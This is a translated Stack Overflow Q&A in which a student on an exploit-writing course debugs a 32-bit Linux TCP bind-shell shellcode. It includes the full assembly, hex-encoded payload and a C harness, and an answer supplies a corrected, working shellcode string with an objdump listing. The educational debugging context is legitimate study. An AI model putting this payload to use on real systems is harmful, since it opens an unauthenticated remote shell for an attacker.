【问题标题】:32-bit shellcode executes in assembly but not in c on 64-bit os even with -m3232 位 shellcode 在汇编中执行,但在 64 位操作系统上不能在 c 中执行,即使使用 -m32
【发布时间】:2017-05-09 19:52:25
【问题描述】:

我正在为 32 位系统开发 tcp-bind shellcode。代码位于 32 位 ubuntu 上,主机操作系统是 64 位 Windows 10(他们甚至制作 32 位 Windows 10 吗?)

shellcode 是一个 tcp-bind。它作为自己的独立可执行文件执行良好,但是当代码转换为十六进制并放入 c 测试程序时,会出现分段错误。即使在使用时也会发生这种情况 gcc -m32 -fno-stack-protector -z execstack

这是反汇编的shellcode

    global _start

    section .text
    _start:
    xor edi, edi

    ; Socket Call
    mov al, 0x66    ;SysSocket syscall
    mov bl, 1     ; Socket call
    push edi        ; INADDR_ANY
    push 1  ; SOCK_STREAM
    push 2  ; AF_INET
    mov ecx, esp    ; long *args
    int 0x80


    ;Bind
    mov edx, eax    ; reurn of Socket call is sockfd, place into edi
    mov al, 0x66    ; SysSocket syscall
    inc bl  ; Bind call
    push edi; INADDR_ANY
    push word 0x3582; Port Number
    push word 2     ; AF_INET
    mov ecx, esp
    push 16         ;addrlen
    push ecx        ;*sockaddr
    push edx        ;SockFD
    mov ecx, esp
    int 0x80

    ;Listen
    mov al, 0x66
    add bl, 2
    push edi
    push edx
    mov ecx, esp
    int 0x80

    ;Accept
    mov al, 0x66
    inc bl
    push edi
    push edi;
    push edx
    mov ecx, esp
    int 0x80

    ;ready for dup2

    xchg ebx, eax
    xor ecx, ecx
    mov cl, 2


    loop:
    mov al, 63
    int 0x80
    dec ecx
    cmp ecx, edi
    jge loop
    ; PUSH the first null dword
    push edi

    ; PUSH //bin/sh (8 bytes)

    push 0x68732f2f
    push 0x6e69622f

    mov ebx, esp

    push edi
    mov edx, esp

    push ebx
    mov ecx, esp

    mov al, 11
    int 0x80

这是 C 代码:

    #include<stdio.h>
    #include<string.h>

    unsigned char code[] = \ 
    "\x31\xff\xb0\x66\xb3\x01\x57\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2        
    \xb0\x66\xfe\xc3\x57\x66\x68\x82\x35\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52
    \x89\xe1\xcd\x80\xb0\x66\x80\xc3\x02\x57\x52\x89\xe1\xcd\x80\xb0\x66\xfe
    \xc3\x57\\x57\x52\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80
    \x49\x39\xf9\\x7d\xf7\x57\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
    \x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

    main()
    {

    printf("Shellcode Length:  %d\n", strlen(code));

    int (*ret)() = (int(*)())code;

    ret();

    }

任何帮助弄清楚我何时无法在 C 中执行以及如何修复将不胜感激。谢谢!

对于希望使用此代码的人,我不承担任何责任。

【问题讨论】:

  • Shellcode 非常不稳定,并且严格按照非常具体的架构和系统设置进行定制。询问为什么 shellcode 不可移植并没有多大意义。
  • 变量code的初始化中是否嵌入了空格?
  • 这甚至不是 shell 代码。 Shell 代码利用了一个漏洞。您刚刚将针对不同操作系统设计的机器代码放入一个数组并调用它。
  • 尝试使code成为const变量,这通常是DEP。
  • 代码是在 32 位 linux 系统上编写的,旨在在 32 位 linux 操作系统上执行。我目前正在学习 securitytube-training.com 的 SLAE32 课程,这是其中一项作业。它可以自行执行。问题是在它所在的易受攻击的 c 程序中作为机器代码执行。Ross,c 程序中存在允许此代码在受害系统上执行的漏洞。这个示例 c 程序是训练中使用的那种。它有一个已知的漏洞,并且之前已被成功利用。我不知道为什么我的代码不能在 c 中正确执行

标签: c assembly tcp x86 shellcode


【解决方案1】:

您发布的代码存在问题。用换行符拆分行不应该真正编译。我不确定您是否在问题中插入了换行符以提高可读性,而原件是否在所有一行上都定义了字符串。在几个地方有一个无关的\。有一个\\x57 应该是\x57\\x7d 应该是\x7d

它可能应该是这样的:

unsigned char code[] = \
"\x31\xff\xb0\x66\xb3\x01\x57\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2"
"\xb0\x66\xfe\xc3\x57\x66\x68\x82\x35\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52"
"\x89\xe1\xcd\x80\xb0\x66\x80\xc3\x02\x57\x52\x89\xe1\xcd\x80\xb0\x66\xfe"
"\xc3\x57\x57\x52\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80"
"\x49\x39\xf9\x7d\xf7\x57\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

上面的字符串将每一行放在它自己的双引号之间,以便编译器在解析时将它们连接起来。

您的汇编代码可能很幸运,因为它完全可以作为一个独立的应用程序工作。在另一个程序内部,寄存器很可能不会为零。你的代码是这样做的:

xor edi, edi

; Socket Call
mov al, 0x66    ;SysSocket syscall
mov bl, 1     ; Socket call

您将整个 EDI 寄存器清零,但您的代码依赖于 EAXEBX 的高位为零,这可能不是案子。你应该把这两个都归零:

xor edi, edi
xor eax, eax
xor ebx, ebx

; Socket Call
mov al, 0x66    ;SysSocket syscall
mov bl, 1     ; Socket call

将两个额外的指令添加到零寄存器将使字符串看起来像:

unsigned char code[] = \
"\x31\xff\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x57\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2"
"\xb0\x66\xfe\xc3\x57\x66\x68\x82\x35\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52"
"\x89\xe1\xcd\x80\xb0\x66\x80\xc3\x02\x57\x52\x89\xe1\xcd\x80\xb0\x66\xfe"
"\xc3\x57\x57\x52\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80"
"\x49\x39\xf9\x7d\xf7\x57\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

OBJDUMP 在这种情况下是一个有用的工具。它可以从可执行文件(在本例中为您的 C 代码)中反汇编代码和数据。您可以使用此输出来确认字符串是否具有您期望的指令。 objdump -D -Mintel progname 其中progname 是可执行文件的名称。 -Mintel 使用 Intel 语法而不是 AT&T 反汇编代码和数据。从字符数组 code 生成的输出如下所示:

 08049780 <code>:
 8049780:       31 ff                   xor    edi,edi
 8049782:       31 c0                   xor    eax,eax
 8049784:       31 db                   xor    ebx,ebx
 8049786:       b0 66                   mov    al,0x66
 8049788:       b3 01                   mov    bl,0x1
 804978a:       57                      push   edi
 804978b:       6a 01                   push   0x1
 804978d:       6a 02                   push   0x2
 804978f:       89 e1                   mov    ecx,esp
 8049791:       cd 80                   int    0x80
 8049793:       89 c2                   mov    edx,eax
 8049795:       b0 66                   mov    al,0x66
 8049797:       fe c3                   inc    bl
 8049799:       57                      push   edi
 804979a:       66 68 82 35             pushw  0x3582
 804979e:       66 6a 02                pushw  0x2
 80497a1:       89 e1                   mov    ecx,esp
 80497a3:       6a 10                   push   0x10
 80497a5:       51                      push   ecx
 80497a6:       52                      push   edx
 80497a7:       89 e1                   mov    ecx,esp
 80497a9:       cd 80                   int    0x80
 80497ab:       b0 66                   mov    al,0x66
 80497ad:       80 c3 02                add    bl,0x2
 80497b0:       57                      push   edi
 80497b1:       52                      push   edx
 80497b2:       89 e1                   mov    ecx,esp
 80497b4:       cd 80                   int    0x80
 80497b6:       b0 66                   mov    al,0x66
 80497b8:       fe c3                   inc    bl
 80497ba:       57                      push   edi
 80497bb:       57                      push   edi
 80497bc:       52                      push   edx
 80497bd:       89 e1                   mov    ecx,esp
 80497bf:       cd 80                   int    0x80
 80497c1:       93                      xchg   ebx,eax
 80497c2:       31 c9                   xor    ecx,ecx
 80497c4:       b1 02                   mov    cl,0x2
 80497c6:       b0 3f                   mov    al,0x3f
 80497c8:       cd 80                   int    0x80
 80497ca:       49                      dec    ecx
 80497cb:       39 f9                   cmp    ecx,edi
 80497cd:       7d f7                   jge    80497c6 <code+0x46>
 80497cf:       57                      push   edi
 80497d0:       68 2f 2f 73 68          push   0x68732f2f
 80497d5:       68 2f 62 69 6e          push   0x6e69622f
 80497da:       89 e3                   mov    ebx,esp
 80497dc:       57                      push   edi
 80497dd:       89 e2                   mov    edx,esp
 80497df:       53                      push   ebx
 80497e0:       89 e1                   mov    ecx,esp
 80497e2:       b0 0b                   mov    al,0xb
 80497e4:       cd 80                   int    0x80

【讨论】:

  • 加上引号后,你就不需要换行反斜杠了。
  • @RossRidge 纠正你没有。我这样做是出于习惯,因为通常我会继续C 语句。我不会打扰编辑它。不过好点。我决定回去简化它。
  • 嗨,迈克。换行符和额外的斜线只是由于复制错误以适应帖子的形式。我在程序中将它作为一个连续的字符串。我会将这些寄存器归零,并让您知道会发生什么。谢谢。
  • 这是将 eax 和 ebx 归零。谢谢!
【解决方案2】:

IA-32 和 IA-32e 模式略有不同。 int 0x80 仍受支持,但使用系统调用的首选方式是通过 SYSCALL 指令。在 IA-32 模式下,所有参数都必须推入堆栈。在 IA-32e 中,寄存器 RDI、RSI、RDX、R8-R10 用于参数。如果您有超过 6 个参数,那么您必须将它们压入堆栈(QWORD 对齐!)...使用 SYSCALL 指令,生成的 RFLAGS 在 R11 寄存器中返回。

在 IA-32e 模式下无法将 32 位寄存器压入堆栈(尝试一下,在代码开头添加“位 64”并再次组装)。从您的 32 位代码中,“push edi”将被解释为“push rdi”...

问题可能是“dec ecx”指令。在 IA-32 模式下是 0x49,但 IA-32e 是 0xFF 0xC9。而且,当然,您的代码处理的是 32 位 ESP,而不是 RSP...

【讨论】:

  • 感谢弗雷德里科。我检查了 dec ecx。它是转储上的 0x49,所以它是 IA-32 而不是 32e,是吗?如果是这样,那不是问题吗?
  • Ahhh...Windows 64 调用约定与 Linux 完全不同...
  • 64 位是 IA-32e(e 来自“扩展”或“增强”)... 32 位模式是 IA-32。 Linux 命名法分别称它们为 amd64 和 i386 模式。
  • 其他:使用 SYSCALL 时,系统调用的映射与 INT 0x80 不同。
  • 明白。这是i386。 windows 只是了解托管 ubuntu vm 的背景信息。我不知道这是否会导致问题。您能否详细说明您的“其他事情”评论?
猜你喜欢
  • 1970-01-01
  • 2022-06-24
  • 2012-07-26
  • 2015-04-04
  • 2014-01-22
  • 1970-01-01
  • 2012-05-14
  • 2023-03-12
  • 1970-01-01
相关资源
最近更新 更多